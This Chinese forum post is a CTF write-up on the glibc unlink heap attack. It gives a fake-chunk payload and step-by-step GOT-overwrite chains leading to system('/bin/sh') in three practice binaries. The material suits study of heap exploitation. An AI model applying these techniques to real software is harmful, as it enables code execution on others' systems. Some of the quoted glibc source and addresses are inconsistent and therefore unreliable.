找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1140

积分

0

好友

150

主题
发表于 昨天 22:56 | 查看: 2| 回复: 0

什么是 Unlink?

在 Linux 的 glibc 堆管理机制中,unlink 是一个核心操作,其字面含义为“脱链”。当堆管理器释放某一 chunk 时,若发现其相邻的 chunk 处于空闲状态,便会尝试将这两个 chunk 合并成一个更大的空闲 chunk。为完成合并,需将相邻空闲 chunk 从其所在双向链表(如 small binsunsorted bins)中移除——这一过程即为 unlink

以下两段源码分别对应 free 过程中的后向合并与前向合并,均调用 unlink

        /* consolidate backward */
if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }
// 如果下一个chunk不是top chunk
if (nextchunk != av->top) {
/* get and clear inuse bit */
// 获取下一个 chunk 的使用状态
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
// 如果不在使用,合并,否则清空当前chunk的使用状态。
/* consolidate forward */
if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
    }
}

Unlink 攻击的核心在于:通过堆溢出、off-by-one 等漏洞篡改堆块元数据,伪造一个“看似合法”的空闲 chunk 结构;当程序后续执行 unlink 操作时,会依据伪造指针执行写入,从而实现任意地址写(Arbitrary Write)

该攻击依赖对 unlink 宏定义的深入理解。以下是 glibc 2.23 中关键宏的完整实现(含注释),已根据图片 OCR 提取并严格还原:

/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                            \
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,检查一致性
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
    malloc_printerr ("corrupted size vs. prev_size");               \
    FD = P->fd;                                                      \
    BK = P->bk;                                                      \
// 防止攻击者简单篡改空闲 chunk 的 fd 与 bk 实现任意写
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
    malloc_printerr(check_action, "corrupted double-linked list", P, AV);  \
else {                                                              \
        FD->bk = BK;                                                  \
        BK->fd = FD;                                                  \
// 下面主要处理 P 对应的 nextsize 双向链表修改
if (!in_smallbin_range (chunksize_nomask (P))                      \
// 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中
// 那么其实也就没有必要对 nextsize 字段进行修改了
// 这里没有去判断 bk_nextsize 字段,可能会出问题
    && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
// 类似于小 chunk 的检查思路
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
    malloc_printerr(check_action,                          \
        "corrupted double-linked list (not small)",    \
        P, AV);                          \
// 这里说明 P 已经在 nextsize 链表中了
// 如果 FD 没有在 nextsize 链表中
if (FD->fd_nextsize == NULL) {                          \
// 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
// 令 FD 为 nextsize 串起来的
if (P->fd_nextsize == P)                          \
            FD->fd_nextsize = FD->bk_nextsize = FD;              \
else {                                              \
// 否则我们需要将 FD 插入到 nextsize 形成的双链表中
            FD->fd_nextsize = P->fd_nextsize;                  \
            FD->bk_nextsize = P->bk_nextsize;                  \
            P->fd_nextsize->bk_nextsize = FD;                  \
            P->bk_nextsize->fd_nextsize = FD;                  \
        }                                              \
      } else {                                              \
// 如果在的话,直接拿走即可
        P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
        P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
      }                                                  \
    }                                                  \
}

该宏包含三重检查,攻击者需绕过前两项(第三项仅作用于 largebin,本系列题目均未触发):

  1. size 一致性检查chunksize(P) != prev_size(next_chunk(P))
  2. 双向链表完整性检查FD->bk != P || BK->fd != P
  3. largebin nextsize 链表检查(略)

经典绕过方法是:将伪造 chunk 的 fd 设为 &target_address - 0x18bk 设为 &target_address - 0x10。这样:

  • FD->bk*(fd + 0x18)*(&target_address - 0x18 + 0x18)*(&target_address)target_address
  • BK->fd*(bk + 0x10)*(&target_address - 0x10 + 0x10)*(&target_address)target_address

target_address 处恰好存储伪造 chunk 地址 P,则检查通过;随后执行 FD->bk = BKBK->fd = FD,最终效果是将 target_address 处的值修改为 &target_address - 0x18&target_address - 0x10。若 target_address 是 GOT 表项(如 free@got),即可劫持函数调用流程。

环境安全属性分析

所有例题均运行于 amd64-64-little 架构,安全机制配置如下(基于多张终端截图 OCR 综合确认):

  • RELRO: Partial RELRO → GOT 表可写(关键前提)
  • Stack Canary: Canary found → 存在栈保护,但不影响堆利用
  • NX: NX enabled → 数据页不可执行,需 ROP 或 GOT 覆盖
  • PIE: No PIE (0x400000) → 代码段基址固定,便于定位符号

该配置组合是 CTF 堆题的经典靶场,既保留 GOT 劫持可行性,又具备基础防护,考验对 unlink 机制的深度掌握。

程序功能与漏洞点

程序提供四类操作:

  • v3=1:申请自定义大小内存,地址存入全局数组 s(起始地址 0x602140),索引从 1 开始(s[1] 存第一个 chunk 地址)
  • v3=2:向指定 chunk 写入内容,存在堆溢出(无长度校验,可覆写高地址 chunk)
  • v3=3:释放指定 chunk(标准 free
  • v3=4:无实质功能

漏洞本质是:v3=2 的编辑功能允许向 chunk2 写入超长数据,覆盖紧邻的 chunk3 元数据,为伪造 fake chunk 创造条件。

利用思路

  1. 申请三个物理相邻 chunk:chunk1(0x20)chunk2(0x30)chunk3(0x80)
  2. 利用 v3=2chunk2 写入 payload,伪造 fake chunk 并篡改 chunk3size 字段(清除 PREV_INUSE 标志位)
  3. 调用 v3=3 释放 chunk3,触发后向合并,执行 unlink(fake_chunk)
  4. unlink 成功后,s[2](即 &s[2])被修改为 &s[2] - 0x18,实现对 s 数组首地址的任意写能力
  5. 利用该能力,将 s[0]s[1]s[2] 分别覆盖为 free@gotputs@gotatoi@got 地址
  6. free@got 修改为 puts@plt,再释放 s[1](即 free(s[1])puts(puts@got)),泄露 libc 基址
  7. 计算 system 地址,覆盖 atoi@got,输入 /bin/sh 触发 system("/bin/sh")

关键内存布局与调试验证

通过 pwndbg> heap 命令观察堆状态,确认分配结果:

Allocated chunk | PREV_INUSE Addr: 0x1f8bb000 Size: 0x1010 (with flag bits: 0x1011)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc010 Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc040 Size: 0x410 (with flag bits: 0x411)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc450 Size: 0x40 (with flag bits: 0x41)
Allocated chunk | PREV_INUSE Addr: 0x1f8bc490 Size: 0x90 (with flag bits: 0x91)
Top chunk | PREV_INUSE Addr: 0x1f8bc520 Size: 0x20ae0 (with flag bits: 0x20ae1)

chunk20x1f8bc040)与 chunk30x1f8bc450)物理相邻,满足 unlink 触发条件。

伪造 fake chunk 的 payload 如下(基于图片 OCR 提取):

payload = p64(0)          # fake chunk presize
payload += p64(0x20)      # fake chunk size
payload += p64(ptr - 0x18)  # fake chunk fd = &s[2] - 0x18
payload += p64(ptr - 0x10)  # fake chunk bk = &s[2] - 0x10
payload += p64(0x20)      # 绕过 size 检查
payload = payload.ljust(0x30,b'a')
payload += p64(0x30)      # chunk3 presize
payload += p64(0x90)      # chunk3 size (清除 inuse 位)
edit(2,len(payload),payload)

执行 free(3) 后,s[2] 值由原地址变为 0x602138(见图片 OCR:0x602140: s[0] 0x00000000000602138 s[1] 0x0000000001f8bc020),验证 unlink 成功。

GOT 表状态确认(pwndbg> got)显示 free@got 当前指向 puts@plt,且 Partial RELRO 生效:

State of the GOT of /home/ctf-challenges/pwn/linux/user-mode/heap/unlink/2014_hitcon_stkof/stkof:
GOT protection: Partial RELRO | Found 15 GOT entries passing the filter
[0x602018] free@GLIBC_2.2.5 -> 0x400760 (puts@plt) <- jmp qword ptr [rip + 0x2018ba]
[0x602020] puts@GLIBC_2.2.5 -> 0x7f7214c6d690 (puts) <- push r1

最终成功执行 cat /flag 并获取 flag{aaa}(见图片 OCR:$ cat /flagflag{aaa})。

程序功能与漏洞点

菜单式程序,功能包括:

  • New note:申请内存(最大 0x80),但存在Off-by-One 漏洞sub_4009BD 函数中 a2-1 > i 比较,当 a2=0a2-1 为极大无符号数,导致可写入远超预期长度
  • Show note:打印 note 内容
  • Edit note:覆写或追加内容
  • Delete note:释放内存

关键漏洞链:

  • malloc(0) 实际分配 0x20 字节最小 chunk
  • 利用 Off-by-One 覆盖 chunk0fd 指针,将其指向 ptr 数组地址(0x602120
  • 通过 new(0, payload) 触发堆溢出,精准控制 chunk1chunk2 元数据
  • 释放 chunk2 触发 unlink,将 ptr[1] 修改为 &ptr[1] - 0x18

利用思路

  1. 申请 chunk0(malloc(0))chunk1(malloc(0x30))chunk2(malloc(0x80))
  2. 删除 chunk0,使其进入 fastbin
  3. 利用 Off-by-One 将 chunk0fd 指向 0x602120ptr 数组起始地址)
  4. 再次申请 chunk0,获得对 ptr 数组的写权限
  5. 构造 payload 覆盖 chunk1chunk2,伪造 fake chunk 并篡改 chunk2 size
  6. 释放 chunk2unlinkptr[1] 改为 &ptr[1] - 0x18
  7. 利用 edit(1) 修改 ptr[0]atoi@got
  8. 利用 show(1) 泄露 atoi@got,计算 libc 基址
  9. 覆盖 atoi@gotsystem 地址,输入 /bin/sh 获取 shell

内存布局验证

pwndbg> x/20gx 0x000000000602120 输出(OCR 提取):

0x602120: 0x0000000000000000 0x0000000022d6e030
0x602130: 0x0000000022d6e070 0x0000000022d6e010
0x602140: 0x0000000000000000 0x0000000000000030
...

ptr 数组地址 0x602120 附近存储着各 chunk 地址,unlinkptr[1]0x602130)被修改为 0x0000000022d6e070,符合 &ptr[1] - 0x18 计算逻辑。

GOT 表中 atoi 条目(pwndbg> got atoi)确认可读:

[0x602088] atoi@GLIBC_2.2.5 -> 0x7f597d1a2e80 (atoi) <- sub rsp 8

调试输出 [DEBUG] Received 0x57 bytes: ...

  • 0x7f597d1a2e80 直接印证 atoi 地址泄露成功。

    程序功能与漏洞点

    机器人轮盘菜单,功能包括:

    • Add robot:支持 6 种机器人,每种分配独立内存并记录指针(buf, qword_6030F0, qword_603100 等)和申请状态(dword_603120, dword_603114 等)
    • Delete robot:释放内存,但未置空指针,存在 Use-After-Free(UAF)
    • Change name:向已申请机器人内存写入
    • Start wheel:随机打印一个机器人内存(不可控)

    核心漏洞:

    • Off-by-Oneaddread 5 字节到 4 字节缓冲区 unk_603110,溢出至 dword_603114(Bender 申请标志位)
    • UAF + Fastbin Attack:利用 Off-by-One 修改 dword_603114,再结合 delete 后未清空指针的特性,将 fastbin fd 指向 0x603138(Bender 的 size 记录变量),从而控制其大小
    • 二次 Unlink:利用可控大小的溢出,对 case6(Destructor)对应的 chunk 进行溢出,触发 unlink,将 case6 指针(0x6030E8)修改为 0x6030E8 - 0x18,实现对 .bss 段的任意写

    利用思路(精简版)

    1. 利用 Off-by-One 将 dword_6031140 改为 1,使 delete(2) 后仍能 change(2)
    2. change(2)chunk0fd 指向 0x603138case6 的 size 变量)
    3. 重新 add(1)add(2),将 0x603138 分配给 case2,从而获得修改 case6 写入长度的能力
    4. add(6)add(3) 分配相邻 chunk
    5. change(2)case6 写入长度设为 1000,构造 fake chunk 并篡改 chunk2 size
    6. delete(3) 触发 unlinkcase6 指针(0x6030E8)变为 0x6030E8 - 0x18
    7. change(6)case6case2case1 指针分别设为 free@gotcase6 申请标志位地址(0x60311C)、case6 地址(0x6030E8),构建任意地址写原语
    8. change(6)puts@pltfree@gotchange(1)puts@gotcase1delete(6) 触发 puts(puts@got) 泄露地址
    9. 计算 system 地址,change(2) 激活 case1change(1)atoi@gotchange(6)systemdelete(6) 后输入 sh 获取 shell

    关键地址与 GOT 验证

    .bss 段地址分布(OCR 提取):

    • case6 指针:0x6030E8
    • case1 指针:0x6030F8
    • case6 申请标志位:0x60311C
    • case2 size 变量:0x603138

    GOT 表中 free 条目(pwndbg> got)显示其地址为 0x602018,且 Partial RELRO 生效,确保可写:

    [0x602018] free@GLIBC_2.2.5 -> 0x7f7214c824f0 (free) <- push r13

    通用防御与学习建议

    • 开发者角度:启用 Full RELRO、编译时添加 -z noexecstack、使用 malloc 替代裸 brk/sbrk、对用户输入做严格长度校验
    • 安全研究者角度:深入理解 ptmalloc2 源码(尤其 malloc.cunlinkmalloc_consolidate_int_malloc 等函数)、熟练使用 pwndbg/gef 调试堆状态、掌握 checksec 工具解读保护机制
    • 学习路径:建议系统学习 计算机基础 中的《操作系统》与《汇编语言》,夯实内存管理底层知识;进阶可参考 安全/渗透/逆向 板块的《Exploit》与《Reverse Engineering》专题

    参考资料

    [1] 堆学习:Unlink attack, 微信公众号:mp.weixin.qq.com/s/BUO6JsCF9a-iQgfLWGoPPQ

    版权声明:本文由 云栈社区 整理发布,版权归原作者所有。




  • 上一篇:向量数据库核心技术:面向RAG与语义搜索的深度解析
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-2-10 01:52 , Processed in 0.408142 second(s), 40 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表